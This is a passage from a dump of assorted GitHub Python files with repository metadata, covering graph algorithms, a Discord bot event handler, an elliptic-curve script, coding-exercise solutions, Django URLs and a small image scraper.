2, 2), (0, 3, 3), (0, 4, 4), (0, 5, 5), (0, 6, 6), (0, 7, 7), (0, 8, 8), (1, 8, 9)], [(1, 8, 10), (2, 8, 11), (3, 8, 12), (4, 8, 13), (5, 8, 14), (6, 8, 15), (7, 8, 16), (8, 8, 17), (8, 7, 18), (8, 6, 19), (7, 6, 20), (6, 6, 21), (5, 6, 22), (4, 6, 23), (3, 6, 24), (2, 6, 25), (2, 5, 26), (2, 4, 27)]), ([(3, 0, 0), (3, 1, 1), (3, 2, 2), (4, 2, 3), (5, 2, 4), (6, 2, 5), (7, 2, 6), (8, 2, 7), (8, 3, 8), (8, 4, 9), (8, 5, 10), (8, 6, 11), (8, 7, 12)], [(8, 7, 13), (8, 6, 14), (8, 5, 15), (8, 4, 16), (8, 3, 17), (8, 2, 18)], [(8, 2, 19), (8, 3, 20), (8, 4, 21), (8, 5, 22), (8, 6, 23), (7, 6, 24)], [(7, 6, 25), (8, 6, 26), (8, 7, 27), (8, 8, 28), (7, 8, 29), (6, 8, 30), (5, 8, 31), (4, 8, 32), (3, 8, 33)]), ([(2, 1, 0), (2, 2, 1), (1, 2, 2), (0, 2, 3), (0, 3, 4), (0, 4, 5), (0, 5, 6), (0, 6, 7), (0, 7, 8), (0, 8, 9)], [(0, 8, 10), (0, 7, 11), (0, 6, 12), (0, 5, 13), (0, 4, 14), (0, 3, 15), (0, 2, 16)])]\n\nProcess finished with exit code 0\n\"\"\"\n","repo_name":"sitebots-com/miriam","sub_path":"planner/milp/milp.py","file_name":"milp.py","file_ext":"py","file_size_in_byte":7457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"37571906280","text":"from collections import defaultdict\r\nimport random\r\nfrom threading import Thread\r\n\r\nclass Node:\r\n def __init__(self, name, neighbours=[]) -> None: # neighbours is a list of tuples: [(name, weight)]\r\n self.name = name\r\n self.neighbours = neighbours\r\n \r\n def get_name(self):\r\n return self.name\r\n \r\n def get_neighbours(self):\r\n return self.neighbours\r\n\r\n def add_neighbour(self, neighbour, w): # neighbour is string\r\n self.neighbours.append((neighbour, w))\r\n\r\n def remove_neighbour(self, neighbour):\r\n for n, w in self.neighbours:\r\n if n == neighbour:\r\n self.neighbours.remove((n, w))\r\n break\r\n\r\nclass Graph:\r\n def __init__(self, connections) -> None: # get list of nodes from dict of connetions\r\n self.nodes = []\r\n for n in connections.keys():\r\n neighbours = []\r\n for each in connections[n]:\r\n neighbours.append([each[0], each[1], 1, 1/each[1]])\r\n self.nodes.append(Node(n, neighbours))\r\n \r\n def get_node_by_name(self, name) -> Node:\r\n for n in self.nodes:\r\n if n.get_name() == name:\r\n return n\r\n \r\n def Dijkstra(self, start):\r\n D = {}\r\n V = {}\r\n P = {}\r\n for n in self.nodes:\r\n D[n.get_name()] = 10000\r\n V[n.get_name()] = False\r\n P[n.get_name()] = None\r\n D[start] = 0\r\n \r\n for n in self.nodes:\r\n for key in D.keys():\r\n if not V[key]:\r\n cur_min_node = key\r\n break\r\n for key in D.keys():\r\n if not V[key]:\r\n if D[cur_min_node] > D[key]:\r\n cur_min_node = key\r\n\r\n V[cur_min_node] = True\r\n node = self.get_node_by_name(cur_min_node)\r\n\r\n for to, weight, _, _ in node.get_neighbours():\r\n if D[to] > D[cur_min_node] + weight:\r\n D[to] = D[cur_min_node] + weight\r\n P[to] = cur_min_node\r\n return D, P\r\n \r\n def find_path(self, start, finish):\r\n D, P = self.Dijkstra(start)\r\n cur_point = finish\r\n path = []\r\n while cur_point != start:\r\n path.append(cur_point)\r\n cur_point = P[cur_point]\r\n path.append(start)\r\n path.reverse()\r\n return D[finish], path\r\n \r\n\r\n def thread_ant(self):\r\n threads = [None] * len(self.nodes)\r\n for i in range(len(self.nodes)):\r\n thread = Thread(target=self.tsp, args=(self.nodes[i].get_name(), threads, i))\r\n thread.start()\r\n thread.join()\r\n min_dist = 10000\r\n min_path = []\r\n for t in threads:\r\n if t[0] < min_dist:\r\n min_dist = t[0]\r\n min_path = t[1]\r\n return min_dist, min_path\r\n\r\n def tsp(self, start, threads=[], thread_index=0):\r\n evaporation = 0\r\n visited = []\r\n dist = 0\r\n mins = {}\r\n paths = {}\r\n for node in self.nodes:\r\n paths[node.get_name()] = []\r\n mins[node.get_name()] = 100000\r\n for i in range(100000):\r\n # visited = [self.nodes[random.randint(0, len(self.nodes)-1)].get_name()]\r\n visited = [start]\r\n dist = 0\r\n fail = False\r\n while len(visited) < len(self.nodes):\r\n node = self.get_node_by_name(visited[-1])\r\n choice = random.random()\r\n sum = 0\r\n probs = []\r\n count_neighbours = 0\r\n for other, weight, t, n in node.get_neighbours():\r\n if other in visited:\r\n count_neighbours += 1\r\n continue\r\n sum += t*n\r\n probs.append([other, t*n, weight])\r\n if len(node.neighbours) == count_neighbours:\r\n fail = True\r\n break\r\n for j in range(len(probs)):\r\n probs[j][1] /= sum\r\n if j > 0:\r\n probs[j][1] += probs[j-1][1]\r\n for other, tn, w in probs:\r\n if choice < tn:\r\n visited.append(other)\r\n dist += w\r\n break\r\n if fail:\r\n continue\r\n for j in range(len(visited)-1):\r\n node = self.get_node_by_name(visited[j])\r\n for each in node.get_neighbours():\r\n if each[0] == visited[j+1]:\r\n each[2] = (1-evaporation) * each[2] + 1/dist\r\n if mins[visited[0]] > dist:\r\n mins[visited[0]] = dist\r\n paths[visited[0]] = visited\r\n node = 0\r\n dist = 10000\r\n path = []\r\n for each in mins.keys():\r\n if mins[each] < dist:\r\n node = each\r\n dist = mins[each]\r\n path = paths[each]\r\n # return dist, path\r\n threads[thread_index] = (dist, path)","repo_name":"alenahalm/TSP","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31985637226","text":"from discord.ext import commands\nfrom discord.ext.commands.errors import *\nfrom datetime import datetime\nfrom utils import MusicError\nfrom os import environ\n\nimport discord\n\nclass Events(commands.Cog):\n def __init__(self, lite):\n self.lite = lite\n\n self.lite.loop.create_task(self._fetch_logs_channels())\n\n async def _fetch_logs_channels(self):\n self.guild_logs = await self.lite.fetch_channel(int(environ['GUILDS_CHANNEL_ID']))\n self.error_logs = await self.lite.fetch_channel(int(environ['ERRORS_CHANNEL_ID']))\n\n @commands.Cog.listener()\n async def on_guild_join(self, guild):\n self.lite._guilds.get(guild.id)\n\n humans = 0;bots = 0\n for member in guild.members:\n if member.bot: bots+=1\n else: humans+=1\n\n em = discord.Embed(\n colour=0x00ff00,\n timestamp=guild.me.joined_at,\n title='Mais um servidor!'\n ).set_author(\n name=guild.name,\n icon_url=guild.icon_url\n ).set_thumbnail(\n url=guild.icon_url\n ).set_footer(\n text=f'Servidores: {len(self.lite.guilds)}'\n ).add_field(\n name='Data de Criação',\n value=f'{guild.created_at.strftime(\"%d/%m/%y (%H:%M)\")}'\n ).add_field(\n name='ID',\n value=str(guild.id)\n ).add_field(\n name='Dono',\n value=f'{guild.owner}\\n`{guild.owner.id}`'\n ).add_field(\n name=f'Membros ({guild.member_count})',\n value=f'Humanos: {humans}\\nBots: {bots}'\n )\n\n await self.guild_logs.send(embed=em)\n\n @commands.Cog.listener()\n async def on_guild_remove(self, guild):\n self.lite._guilds.get(guild.id)\n\n humans = 0;bots = 0\n for member in guild.members:\n if member.bot: bots+=1\n else: humans+=1\n\n em = discord.Embed(\n colour=0xfc4b4b,\n timestamp=datetime.utcnow(),\n title='Menos um servidor...'\n ).set_author(\n name=guild.name,\n icon_url=guild.icon_url\n ).set_thumbnail(\n url=guild.icon_url\n ).set_footer(\n text=f'Servidores: {len(self.lite.guilds)}'\n ).add_field(\n name='Data de Criação',\n value=f'{guild.created_at.strftime(\"%d/%m/%y (%H:%M)\")}'\n ).add_field(\n name='ID',\n value=str(guild.id)\n ).add_field(\n name='Dono',\n value=f'{guild.owner}\\n`{guild.owner.id}`'\n ).add_field(\n name=f'Membros ({guild.member_count})',\n value=f'Humanos: {humans}\\nBots: {bots}'\n )\n\n await self.guild_logs.send(embed=em)\n\n @commands.Cog.listener()\n async def on_command_error(self, ctx, e):\n if isinstance(e, MusicError):\n await ctx.send(e)\n\n elif isinstance(e, CommandOnCooldown):\n _, s = divmod(e.retry_after, 60)\n await ctx.send(f'{self.lite.emoji[\"false\"]} **{ctx.author.name}**, aguarde **`{int(s)}`**'\n ' segundo(s) para poder usar esse comando novamente.', delete_after=s+6)\n\n elif isinstance(e, MissingRole):\n await ctx.send(f'{self.lite.emoji[\"false\"]} **{ctx.author.name}**, você precisa do '\n f'cargo **`{e.missing_role[0] or \"DJ\"}`** para poder usar esse comando.')\n\n elif isinstance(e, (ConversionError, UserInputError)):\n if ctx.prefix == f'<@{ctx.me.id}> ':\n ctx.prefix = f'@{ctx.me.name} '\n\n await ctx.send(f'{self.lite.emoji[\"false\"]} Parece que você usou o comando de forma '\n f'errada, **{ctx.author.name}**.\\n**Uso correto: '\n f'`{ctx.prefix}{ctx.invoked_with} {ctx.command.usage}`**')\n\n elif isinstance(e, MissingPermissions):\n perms = '\\n'.join([f'{self.lite.emoji[\"idle\"]} **`{p.upper().replace(\"_\", \" \")}`**' for p in e.missing_perms])\n await ctx.send(f'{self.lite.emoji[\"false\"]} **{ctx.author.name}**, você precisa das seguintes'\n f' permissões para poder usar esse comando:\\n\\n{perms}')\n\n elif isinstance(e, BotMissingPermissions):\n perms = '\\n'.join([f'{self.lite.emoji[\"idle\"]} **`{p.upper().replace(\"_\", \" \")}`**' for p in e.missing_perms])\n await ctx.send(f'{self.lite.emoji[\"false\"]} **{ctx.author.name}**, eu preciso das seguintes'\n f' permissões para poder rodar esse comando:\\n\\n{perms}')\n\n else:\n em = discord.Embed(\n colour=0xFF0000,\n timestamp=ctx.message.created_at,\n description=f'> {ctx.message.content}\\n```py\\n{e.__class__.__name__}: {e}```'\n ).set_author(\n name=f'{ctx.author} ({ctx.author.id})',\n icon_url=ctx.author.avatar_url\n ).set_footer(\n text=f'ID: {ctx.message.id}'\n )\n\n await self.error_logs.send(content=f'Comando executado no canal {ctx.channel} ({ctx.channel.id})'\n f' do servidor {ctx.guild} ({ctx.guild.id}).', embed=em)\n\n @commands.Cog.listener()\n async def on_command(self, ctx):\n self.lite.log.info(f'Comando \"{ctx.command}\" usado por {ctx.author} {ctx.author.id} '\n f'em {ctx.guild} {ctx.guild.id}')\n\ndef setup(lite):\n lite.add_cog(Events(lite))","repo_name":"codacy-badger/DiscoLite","sub_path":"plugins/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7521028645","text":"import plotly.express as px\n\n\ndef compute_torsion_points(a, E7):\n Q7 = E7.base_ring()\n t = polygen(Q7, 't')\n for r3 in (t**2 + 3).roots():\n w = (1 + 3*r3[0])/7\n if w.valuation() >= 0:\n break\n z3 = (t**2 + t + 1).roots()[0][0]\n theta = 2 * a * w\n r3_theta = (t ** 3 - theta).roots()[0][0]\n ytor = (t**2 - (theta + a)).roots()[0][0]\n tors = [E7([0,1,0])]\n for i in range(3):\n T1 = E7(r3_theta * z3**i, ytor)\n T2 = E7(r3_theta * z3**i, -ytor)\n tors.append(T1)\n tors.append(T2)\n return tors\n\n\ndef rank_one_elliptic_curves(N):\n bounds_not_equal = []\n not_compute_gens = []\n success = []\n failure = []\n Q7 = Qp(7, 20)\n for k in range(-N, N + 1):\n a = -2 + 7*k\n E = EllipticCurve([0, a])\n E7 = E.change_ring(Q7)\n try:\n bounds = E.rank_bounds()\n except:\n bounds = None\n bounds_not_equal.append(k)\n if bounds and bounds[0] == bounds[1] and bounds[0] == 1:\n try:\n G1 = E.gens()[0]\n except:\n not_compute_gens.append(k)\n G1 = None\n if G1:\n G1adic = E7(G1[0], G1[1])\n for T in compute_torsion_points(a, E7):\n R = G1adic - T\n val = R[0].valuation()\n if val == -2:\n success.append(k)\n elif val < -2:\n failure.append(k)\n per_failure = 100*len(failure)/(len(failure) + len(success))\n print('bounds_not_equal = {0}%'.format(RR(100) * len(bounds_not_equal)/(2*N + 1)))\n print('not_compute_gens = {0}%'.format(RR(100) * len(not_compute_gens)/(2*N + 1)))\n print('failure = {0}%'.format(per_failure))\n print('success = {0}%'.format(100 - per_failure))\n return bounds_not_equal, not_compute_gens, failure, success\n\n\ndef illustrate_data(N, step=10):\n bounds_not_equal_N, not_compute_gens_N, failure_N, success_N = rank_one_elliptic_curves(N)\n bounds_not_equal_ks = []\n not_compute_gens_ks = []\n failure_ks = []\n success_ks = []\n K = [i for i in range(1, N+1, step)]\n for k in range(1, N+1, step):\n bounds_not_equal_k = [n for n in bounds_not_equal_N if n <= k and k >= -n]\n not_compute_gens_k = [n for n in not_compute_gens_N if n <= k and k >= -n]\n failure_k = [n for n in failure_N if n <= k and k >= -n]\n success_k = [n for n in success_N if n <= k and k >= -n]\n per_failure_k = 100*len(failure_k)/(len(failure_k) + len(success_k))\n failure_ks.append(per_failure_k)\n success_ks.append(100 - per_failure_k)\n bounds_not_equal_ks.append(100 * len(bounds_not_equal_k)/(2*k + 1))\n not_compute_gens_ks.append(100 * len(not_compute_gens_k)/(2*k + 1))\n fig = px.scatter(x=K, y=success_ks)\n fig.write_image(\"/home/akoutsianas/Desktop/local_global_rank_1.jpg\")\n data = {\n 'bounds_not_equal_ks': bounds_not_equal_ks,\n 'not_compute_gens_ks': not_compute_gens_ks,\n 'failure_ks': failure_ks,\n 'success_ks': success_ks,\n 'bounds_not_equal_N': bounds_not_equal_N,\n 'not_compute_gens_N': not_compute_gens_N,\n 'failure_N': failure_N,\n 'success_N': success_N\n\n }\n return data\n","repo_name":"akoutsianas/local_global_0_cycles","sub_path":"local_global_rank_1.py","file_name":"local_global_rank_1.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17015071687","text":"n = int(input())\nn_list = list(map(int, input().split()))\nm = int(input())\nm_list = sorted(list(map(int, input().split())))\ncheck = [0] * len(m_list)\n\n\ndef binary_search(start, end, target): \n while start <= end:\n \n mid = (start + end) // 2 \n \n if m_list[mid] > target: \n end = mid - 1 \n \n elif m_list[mid] < target:\n start = mid + 1 \n \n else:\n return\n \n \nfor n in n_list:\n binary_search(0, m-1, n)\n \nfor i in range(len(check)):\n print(check[i], end = ' ')\n","repo_name":"woniwory/2022PythonAlgorithm","sub_path":"baekjoon/binary_search/p10816.py","file_name":"p10816.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35111597375","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\"\"\"\n\n\nclass Solution:\n def connect(self, root: 'Optional[Node]') -> 'Optional[Node]':\n # 遍历 三叉树\n if not root:\n return\n self.traverse(root.left, root.right)\n return root\n\n def traverse(self, node_l, node_r):\n if (not node_l) or (not node_r):\n return\n # 连接node_l 和 node_r\n node_l.next = node_r\n\n # 同父节点的两个子节点\n self.traverse(node_l.left, node_l.right)\n self.traverse(node_r.left, node_r.right)\n\n # 跨父节点 的两个子节点\n self.traverse(node_l.right, node_r.left)\n","repo_name":"xiaoTaoist/LeetCode","sub_path":"python/116. 填充每个节点的下一个右侧节点指针.py","file_name":"116. 填充每个节点的下一个右侧节点指针.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36054167925","text":"from django.conf import settings\nfrom django.conf.urls import url, include\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\n\nfrom greatwar import views\n\n\nadmin.autodiscover()\n\nurlpatterns = [\n # Example:\n url(r'^$', views.index, name=\"index\"),\n url(r'^$', views.index, name=\"site-index\"), # required by eultheme\n url(r'^about/$', views.about, name=\"about\"),\n url(r'^links/$', views.links, name=\"links\"),\n url(r'^credits/$', views.credits, name=\"credits\"),\n url(r'^poetry/', include('greatwar.poetry.urls', namespace='poetry')),\n url(r'^postcards/', include('greatwar.postcards.urls', namespace='postcards')),\n # Uncomment the admin/doc line below and add 'django.contrib.admindocs'\n # to INSTALLED_APPS to enable admin documentation:\n # (r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # django admin, for downtime/banners\n url(r'^admin/', include(admin.site.urls)),\n]\n\nif settings.DEV_ENV:\n# urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\n\n","repo_name":"ecds-archives/greatwar","sub_path":"greatwar/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30339362528","text":"\"\"\"\nlineage.py – Compute all lineage instances and populate them\n\"\"\"\n\nimport logging\nfrom xuml_populate.config import mmdb\nfrom typing import List, Set, Optional\nfrom xuml_populate.tree.tree import extract\nfrom xuml_populate.populate.mmclass_nt import Element_i, Spanning_Element_i, Lineage_i, Class_In_Lineage_i\nfrom pyral.transaction import Transaction\nfrom pyral.relvar import Relvar\nfrom pyral.relation import Relation\n\n_logger = logging.getLogger(__name__)\n\ntr_Lin = \"Lineage\"\n\nclass Lineage:\n \"\"\"\n Create all lineages for a domain\n \"\"\"\n\n domain = None\n\n lnums = 0\n walks = []\n xrels = set()\n xclasses = set()\n popclasses = set()\n lineages = None\n\n @classmethod\n def Derive(cls, domain: str):\n \"\"\"\n\n :param domain:\n :return:\n \"\"\"\n cls.domain = domain\n\n # Get all classes with at least one subclass facet and no superclass facets\n # These constitute 'leaves'. We use them as starting points as we step through a set of generalizations\n # to identify lineages.\n\n Relation.project(mmdb, attributes=('Class', 'Domain'), relation='Subclass', svar_name='subs')\n Relation.project(mmdb, attributes=('Class', 'Domain'), relation='Superclass', svar_name='supers')\n leaf_tuples = Relation.subtract(mmdb, rname1='subs', rname2='supers')\n leaf_classes = [t['Class'] for t in leaf_tuples.body]\n\n # Now we walk (step) through each generalization to build trees of one or more lineages\n for leaf in leaf_classes:\n cls.xrels = set()\n cls.xclasses = set()\n leafwalk = cls.step(walk=[], cvisit=leaf, rvisit=None)\n cls.walks.append(leafwalk)\n\n # We then prune these trees to extract unique branches, each of which constitutes a distinct lineage\n cls.lineages = set()\n for walk in cls.walks:\n pattern = walk.copy()\n if not any(isinstance(n, list) for n in pattern):\n pattern.sort()\n cls.lineages.add(':'.join(pattern))\n else:\n while len(pattern) > 0 and any(isinstance(n, list) for n in pattern):\n extraction = extract(pattern)[0].copy()\n extraction.sort()\n cls.lineages.add(':'.join(extraction))\n\n # Finally, we load each lineage into the tclral\n cls.populate()\n\n @classmethod\n def step(cls, walk: List, cvisit: str, rvisit: Optional[str] = None) -> List:\n \"\"\"\n Advance one step in the walk and return the result\n\n :param walk: The walk prior to the step\n :param cvisit: The class currently being visited\n :param rvisit: The relationship currently being traversed\n :return: The updated walk\n \"\"\"\n\n walk.append(cvisit) # Advance the walk by adding the visited class\n cls.xclasses.add(cvisit) # Class has been visited\n\n # Now we figure out where and if we can take another step\n\n # Get all adjacent relationships, if any, on the civisit class that have not already been traversed\n # Could be either superclass_name or subclasses, so we search Facets\n # Get all Facets that cvisit participates in\n R = f\"Class:<{cvisit}>, Domain:<{cls.domain}>\"\n Relation.restrict(mmdb, restriction=R, relation=\"Facet\")\n s = Relation.project(mmdb, attributes=(\"Rnum\", ))\n # Grab the result being careful to exclude prior traversals so we don't walk around in circles!\n adj_rels = [r['Rnum'] for r in s.body if r['Rnum'] not in cls.xrels and r['Rnum'] != rvisit]\n\n # We have nowhere else to walk if cvisit does not participate in any new rels\n if not adj_rels:\n return walk\n\n # Create a set of all hops going up to a superclass\n uphops = {h for h in adj_rels if cls.isSubclass(grel=h, cname=cvisit)}\n pass\n\n # We can try to take a step\n for arel in adj_rels:\n # Is cvisit a superclass or subclass in this arel?\n # There are only two possibilities, so we arbitrarily check to see if it paticipates as a subclass\n if arel in uphops: # Hopping up to a superclass\n superclass = cls.findSuperclass(grel=arel)\n\n # Exclude all subclasses of unvisited uphop rels other than cvisit\n other_uphops = uphops - cls.xrels - {arel}\n for o in other_uphops:\n subclasses = cls.findSubclasses(grel=o)\n exclude_subclasses = {c for c in subclasses if c != cvisit}\n cls.xclasses = cls.xclasses.union(exclude_subclasses)\n\n # Since we don't need to branch out, we can now mark this arel as excluded\n cls.xrels.add(arel)\n walk = cls.step(walk=walk, cvisit=superclass, rvisit=arel)\n else: # hopping down to a subclass\n # We are going to branch out to one or more subclasses\n # (Any of our subclasses adjacent to some excluded relationship cannot be added)\n # Get all the subclass class names\n subclasses = cls.findSubclasses(grel=arel)\n visit_subs = subclasses.difference(cls.xclasses)\n for s in visit_subs:\n # Start a new branch if there is more than one subclass to visit\n fork = True if len(visit_subs) > 1 else False\n if fork:\n cls.xrels = set() # New branch, no excluded rels\n branch = cls.step(walk=[], cvisit=s, rvisit=arel)\n if branch:\n walk.append(branch)\n else:\n cls.xclasses.remove(s)\n else:\n walk = cls.step(walk=walk, cvisit=s, rvisit=arel)\n cls.xrels.add(arel)\n return walk\n\n @classmethod\n def findSubclasses(cls, grel: str) -> Set[str]:\n \"\"\"\n Return the set of all subclasses in the specified generalization\n\n :param grel:\n :param domain:\n :return:\n \"\"\"\n Relation.restrict(mmdb, relation='Subclass', restriction=f\"Rnum:<{grel}>, Domain:<{cls.domain}>\")\n s = Relation.project(mmdb, attributes=('Class', ))\n\n return {t['Class'] for t in s}\n\n @classmethod\n def isSubclass(cls, grel: str, cname: str) -> bool:\n Relation.restrict(mmdb,\n relation='Subclass',\n restriction=f\"Class:<{cname}>, Rnum:<{grel}>, Domain:<{cls.domain}>\")\n s = Relation.project(mmdb, attributes=())\n return bool(s.body)\n\n @classmethod\n def findSuperclass(cls, grel: str) -> str:\n \"\"\"\n Traverse the specified relationship and return the name of the superclass\n\n :param grel: A generalization relationship rnum\n :param domain: A the name of the domain\n :return:\n \"\"\"\n Relation.restrict(mmdb, relation='Superclass', restriction=f\"Rnum:<{grel}>, Domain:<{cls.domain}>\")\n s = Relation.project(mmdb, attributes=(\"Class\", ))\n return s.body[0]['Class']\n\n @classmethod\n def populate(cls):\n \"\"\"\n Trace through walks to populate all Lineages\n\n :return:\n \"\"\"\n for lin in cls.lineages:\n cls.lnums += 1\n lnum = 'L' + (str(cls.lnums))\n _logger.info(f\"Populating lineage [{lnum}]\")\n Transaction.open(mmdb, tr_Lin)\n Relvar.insert(mmdb, tr=tr_Lin, relvar='Element', tuples=[\n Element_i(Label=lnum, Domain=cls.domain)\n ])\n Relvar.insert(mmdb, tr=tr_Lin, relvar='Spanning_Element', tuples=[\n Spanning_Element_i(Label=lnum, Domain=cls.domain)\n ])\n Relvar.insert(mmdb, tr=tr_Lin, relvar='Lineage', tuples=[\n Lineage_i(Lnum=lnum, Domain=cls.domain)\n ])\n for cname in lin.split(':'):\n Relvar.insert(mmdb, tr=tr_Lin, relvar='Class_In_Lineage', tuples=[\n Class_In_Lineage_i(Class=cname,Lnum=lnum, Domain=cls.domain)\n ])\n Transaction.execute(mmdb, tr_Lin)\n","repo_name":"modelint/xuml-populate","sub_path":"src/xuml_populate/populate/lineage.py","file_name":"lineage.py","file_ext":"py","file_size_in_byte":8245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36148358422","text":"from aiogram import Bot, Dispatcher, executor, types\r\nimport sqlite3\r\n\r\nconnection = sqlite3.connect('data.db')\r\nsql = connection.cursor()\r\n\r\ndef toFixed(numObj, digits=0):\r\n\treturn f\"{numObj:.{digits}f}\"\r\n\r\ndef first(chat_id):\r\n\tsql.execute(f\"SELECT * FROM users WHERE user_id = {chat_id}\")\r\n\tresult = sql.fetchall()\r\n\tif len(result) == 0:\r\n\t\t\tsql.execute(f\"INSERT INTO users (user_id, balance)\"\r\n\t\t\t\t\t\tf\"VALUES ('{chat_id}', '0')\")\r\n\t\t\tconnection.commit()","repo_name":"saireksgod/tg_bot","sub_path":"Function.py","file_name":"Function.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32305195690","text":"#-*- coding:utf-8 -*-\nimport re\nimport requests\nfrom Tools.scripts.treesync import raw_input\n\nword = raw_input(\"What do you want to have: \")\ns_word = str(word)\nurl = 'https://image.baidu.com/search/flip?tn=baiduimage&ie=utf-8&word=' + word + '&ct=201326592&lm=-1&v=flip';\n\nhtml = requests.get(url).text\npic_url = re.findall('\"objURL\":\"(.*?)\",',html,re.S)\n\ni=0\n\n\nfor miao in pic_url:\n print(miao)\n try:\n pic= requests.get(miao,timeout=5)\n except requests.exceptions.ConnectionError:\n print('ConnectionErr')\n continue\n string = 'C:\\\\Users\\\\Tony\\\\Desktop\\\\pic\\\\'+str(i)+'.jpg'\n picFile = open(string,'wb')\n picFile.write(pic.content)\n picFile.close()\n i += 1\n\n","repo_name":"cmtt1212/pyhonstudy","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1087358334","text":"TEST_INPUT = \"\"\"\nA Y\nB X\nC Z\n\"\"\"\n\nMODIFIER = {\n \"X\": 1,\n \"Y\": 2,\n \"Z\": 3,\n}\n\nSTRATEGY = {\n \"X\": {\"A\": 3, \"B\": 0, \"C\": 6},\n \"Y\": {\"A\": 6, \"B\": 3, \"C\": 0},\n \"Z\": {\"A\": 0, \"B\": 6, \"C\": 3},\n}\n\n\ndef score_rounds(input_string: str) -> int:\n rounds = [line.split() for line in input_string.strip().split(\"\\n\")]\n score = 0\n for rnd in rounds:\n score += STRATEGY[rnd[1]][rnd[0]] + MODIFIER[rnd[1]]\n return score\n\n\ndef score_rounds_unreadable(input_string: str) -> int:\n return sum(\n [\n STRATEGY[rnd[1]][rnd[0]] + MODIFIER[rnd[1]]\n for rnd in [line.split() for line in input_string.strip().split(\"\\n\")]\n ]\n )\n\n\nif __name__ == \"__main__\":\n with open(\"input.txt\", \"r\") as f:\n input_string = f.read()\n print(score_rounds(input_string))\n print(score_rounds_unreadable(input_string))\n","repo_name":"kylestratis/advent_of_code_2022","sub_path":"day_2/day2_pt1.py","file_name":"day2_pt1.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15939359516","text":"import sys\nimport os\n\ndef main(pwd):\n print(pwd)\n infiles = os.listdir(pwd)\n\n os.chdir(pwd)\n\n print(\"Replacing any quoted newlines in:\")\n for file in infiles:\n ex = os.path.splitext(file)[1][1:].strip()\n if ex == \"csv\":\n print(\" \" + file)\n stripQuotedNewlines(file)\n\n\ndef stripQuotedNewlines(infile):\n # Replace newlines that appear between double-quotes with single spaces\n import csv\n with open(infile, \"r\") as input, open(infile + \".cleaned.csv\", \"w\") as output:\n w = csv.writer(output)\n for record in csv.reader(input):\n w.writerow(tuple(s.replace(\"\\n\", \" \") for s in record))\n input.close()\n output.close()\n os.rename(infile + \".cleaned.csv\", infile)\n\nmain(sys.argv[1])\n\n","repo_name":"harrysouthworth/unsas","sub_path":"python/cleanCSV.py","file_name":"cleanCSV.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10413997152","text":"\nimport re\nimport os\nimport pickle\nimport sys\nimport nltk\nfrom collections import Counter\n\nf = sys.argv[1]\n\ndef tokenize(text):\n return nltk.word_tokenize(text)\n\ndef save_obj(obj, name ):\n with open(name + '.pkl', 'wb') as f:\n pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n \ntext = open(f).read()\n\ndef pairs(iterable):\n iterator = iter(iterable)\n values = [next(iterator)]\n for value in iterator:\n values.append(value)\n yield ' '.join(values)\n del values[0]\n\nsave_obj(Counter(tokenize(text)), os.path.basename(f) + \"_unigrams.bin\")\nsave_obj(Counter(pairs(tokenize(text))), os.path.basename(f) + \"_bigrams.bin\")\n\n","repo_name":"DJAcquila/sota-ws","sub_path":"benchmark/wordsegtrain.py","file_name":"wordsegtrain.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74129081101","text":"# https://leetcode.com/explore/learn/card/linked-list/214/two-pointer-technique/1296/\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nclass Solution:\n def removeNthFromEnd(\n self, head: ListNode, n: int) -> ListNode:\n if head is None:\n return None\n \n size = self.get_size(head)\n if n > size or n < -1 or size == 1:\n return None\n\n # As we have size the nth node from the back will be\n # (size - n + 1)th node from the start \n # remove 1 as the index starts from 0\n index = size - n\n curr = head\n\n # Remove if the nth node ends up being head\n if index == 0:\n curr = curr.next\n return curr\n\n # Iterate until we reach nth node\n for i in range(index - 1):\n curr = curr.next\n\n # Remove nth node\n curr.next = curr.next.next \n return head\n\n def get_size(self, head: ListNode) -> int:\n if head is None:\n return None\n size = 0\n tmp = head\n while tmp:\n tmp = tmp.next\n size += 1\n return 